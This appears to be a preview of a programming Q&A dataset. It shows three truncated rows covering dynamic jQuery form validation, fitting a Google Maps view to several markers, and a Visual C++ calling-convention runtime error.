I have a multipart form that takes basic user information at the beginning with some jquery.validate error checking to see if the fields have been filled in and the email address is valid. Below that there is a series of check boxes (type_of_request) for new accounts, delete accounts, new software etc which show/hide t...
To implement the dynamic validation in your form based on whether specific checkboxes are checked or not, you'll need to utilize jQuery and the jQuery Validate plugin efficiently. The core idea is to add or remove validation rules dynamically based on the state of the checkboxes. Here's a structured approach to your r...
42,746
[ { "from": "human", "value": "I have a multipart form that takes basic user information at the beginning with some jquery.validate error checking to see if the fields have been filled in and the email address is valid.\nBelow that there is a series of check boxes (type_of_request) for new accounts, delete ac...
I would like to pass an x amount of geo-locations to the Google Maps API and have it centered around these locations and set the appropriate zoom level so all locations are visible on the map. I.e. show all the markers that are currently on the map. Is this possible with what the Google Maps API offers by default or do...
Yes, you can achieve this using the Google Maps JavaScript API, and you don’t need to build it yourself from scratch. The API provides a method to fit the map bounds around a set of markers (geo-locations). Here’s how you can do this: ### Step-by-Step Guide 1. **Load the Google Maps API**: First, ensure you have the ...
49,229
[ { "from": "human", "value": "I would like to pass an x amount of geo-locations to the Google Maps API and have it centered around these locations and set the appropriate zoom level so all locations are visible on the map. I.e. show all the markers that are currently on the map.\nIs this possible with what t...
Can anyone explain to me what this means? "Run-Time Check Failure #0 - The value of ESP was not properly saved across a function call. This is usually a result of calling a function declared with one calling convention with a function pointer declared with a different calling convention."
The error message you're encountering, "Run-Time Check Failure #0 - The value of ESP was not properly saved across a function call," typically indicates an issue related to the calling conventions in your code. Here's a breakdown of what it means and how to resolve it: ### Key Concepts: 1. **Calling Conventions**: ...
43,791
[ { "from": "human", "value": "Can anyone explain to me what this means?\n\"Run-Time Check Failure #0 - The value of ESP was not properly saved across a function call. This is usually a result of calling a function declared with one calling convention with a function pointer declared with a different calling...